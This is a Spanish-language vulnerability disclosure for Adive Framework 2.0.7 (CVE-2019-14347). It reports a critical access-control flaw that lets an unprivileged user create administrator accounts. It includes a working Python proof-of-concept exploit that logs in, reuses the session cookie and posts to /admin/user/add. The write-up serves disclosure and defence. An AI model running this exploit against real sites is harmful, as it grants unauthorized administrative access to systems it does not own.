Adive Framework 2.0.7

Adive es un Framework PHP 7 para desarrollar webs y aplicaciones en línea,administra bases de datos MySQL, es una alternativa rápida, fácil y excelente para generar plantillas teniendo así la principal estructura visual de cualquier pagina web. Esta versión incluye un kit de herramientas para desarrolladores para generar tablas, campos y entidades, formas de control y bases de datos. Adive es un ambicioso proyecto de Schben, cuyo objetivo es convertir la «codificación» en «diseño».
Vulnerabilidad descubierta por Pablo Santiago.
Publicada el 02/08/2019.
CVE-2019-14347
Link de la pagina web y del github con el proyecto.
Versión vulnerable = 2.0.7 y probablemente versiones anteriores.
Solución: Comprobar los permisos de los usuarios a la hora de realizar determinadas acciones.
Vector de ataque / Criticidad de la explotación
CRITICIDAD – CRITICA
Es posible crear usuarios administradores y usuarios normales con un usuario que no tiene permisos para hacer determinadas acciones, ya que tiene privilegios/rol de un usuario normal y no de un un usuario con privilegios/rol de administrador.
Prueba de Concepto (PoC)
La siguiente imagen muestra como estamos logeados con un usuario user ,normal sin privilegios.

La siguiente imagen es la iniciación de la ejecución del exploit que permite crear los usuarios, puede verse la ejecución completa del exploit aqui
Realizando un peticion POST al recurso /admin/user/add y añadiendo los parámetros UserName, userUsername,pass,cpass y permission, es posible la creación de cualquier usuario
Código del exploit
import requests
import sys
session = requests.Session()
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy
}
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')
print('[+]Login with the correct credentials:' '\n')
user = input('[+]user:')
password = input('[+]password:')
print('\n')
url = 'http://localhost/adive/admin/login'
values = {'user': user,
'password': password,
}
r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']
print('Your session cookie is:'+ cookie +'\n')
host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')
if (password == password2):
#configure proxy burp
#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,
}
headers= {
'Cookie': 'PHPSESSID='+cookie
}
request = session.post(host+'/adive/admin/user/add', data=data, headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')
else:
print ('Passwords dont match!!!')